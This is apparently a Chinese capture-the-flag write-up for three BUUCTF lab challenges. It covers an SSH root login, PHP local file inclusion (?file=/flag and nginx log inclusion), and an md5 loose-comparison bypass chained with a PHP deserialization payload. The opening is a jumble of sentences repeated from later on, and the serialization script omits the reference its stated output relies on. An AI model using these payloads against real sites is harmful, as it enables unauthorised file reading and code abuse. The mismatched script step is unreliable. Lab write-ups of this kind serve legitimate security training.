BUUCTF——Basic题解
所以我们不能将input设为具体的值,而是在序列化执行,令input=&correct。文件包含在 php 中,涉及到的危险函数有四个,分别是 include()、include_once()、require()、require_once()。程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程一般被称为文件包含。于是涉及到了md5绕
1. Linux Labs
打开靶机很茫然,什么也点不开
访问地址
根据题目提示是ssh服务相关的,这就需要用到Linux虚拟机
于是启动kali Linux,直接打开命令行界面输入命令
端口号是随机生成的,网站地址题目有给出
ssh -p d端口号 root@node4.buuoj.cn
yes
密码
在虚拟机中访问ssh服务
成功以root身份登录ssh服务后就可以进入目录
cd/
ls
可以看到有一个flag.txt文件,打开看看
cat flag.txt
得到flag
2. BUU LFI COURSE
属于PHP文件包含类型题目
题目已经给出了提示:LFI(Local File Include)
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程一般被称为文件包含。
文件包含在 php 中,涉及到的危险函数有四个,分别是 include()、include_once()、require()、require_once()。
区别如下:
- include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。
- include_once:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。
- require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。
- require_once:和 require 类似,不同处在于 require_once 只导入一次。
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。在本题的PHP代码中即可看到include函数
因为文件路径可控,当输入系统的密码文件所在路径时,内容会输出出来
在url后构造
?file=/flag
flag即可显现
?file=/var/log/nginx/access.log :包含ngnix的日志记录
3. BUU CODE REVIEW
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__); //高亮显示当前页面源码
class BUU { //类:BUU
public $correct = ""; //公有属性:$correct
public $input = ""; //公有属性:$input
public function __destruct() { //公有析构方法__destruct(),在当前类的实例化对象销毁前,自动被调用
try {
$this->correct = base64_encode(uniqid()); //给correct赋值为base64_encode(uniqid())
if($this->correct === $this->input) { //判断两个属性是否全等
echo file_get_contents("/flag"); //若全等,则打印根目录下的flag
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') { //判断pleaseget==='1'&&pleasepost==='2'&&md1!=md52&&md5(md51)==md5(md52)
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
第二段代码开始时这个题目的关键
要求GET传入的参数pleaseget=1,于是GET处的参数很简单,就是
/?pleaseget=1
POST传入的参数pleasepost=2,同时要求md51和md52的值不同,但是md5值相同
于是涉及到了md5绕过的问题,md5这个地方可以用md5弱碰撞,因为是弱类型比较。以下几个的md5弱类型比较均相等
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
当然更简便的是直接使用空数组进行绕过,因此POST的参数第一部分为
pleasepost=2&md51[]=1&md52[]=2
或者
pleasepost=2&md51=QNKCDZO&md52=s155964671a
再往下看到unserialize就是反序列化问题,以及如何让两个类变量this->correct和this->input值相等
使用的是php的传引用
于是我们构造脚本使得this->correct和this->input两个变量指向同一个内容。
因为每次都会执行$this->correct = base64_encode(uniqid());,所以我们不能将input设为具体的值,而是在序列化执行,令input=&correct
构造脚本如下
<?php
class BUU {
public $correct="";
public $input="";
}
$obj = new BUU();
$obj->input = $obj->correct;
echo serialize($obj);
?>
然后在http://c.runoob.com/compile/中将其进行序列化
传入代码中反序列化后即可执行
得到了POST第二个部分的字段,最后拼接起来就是
pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
//或者
pleasepost=2&md51=QNKCDZO&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
右键“检查”,使用Hackbar工具,输入对应的GET和POST参数然后Execute,得到flag
更多推荐
所有评论(0)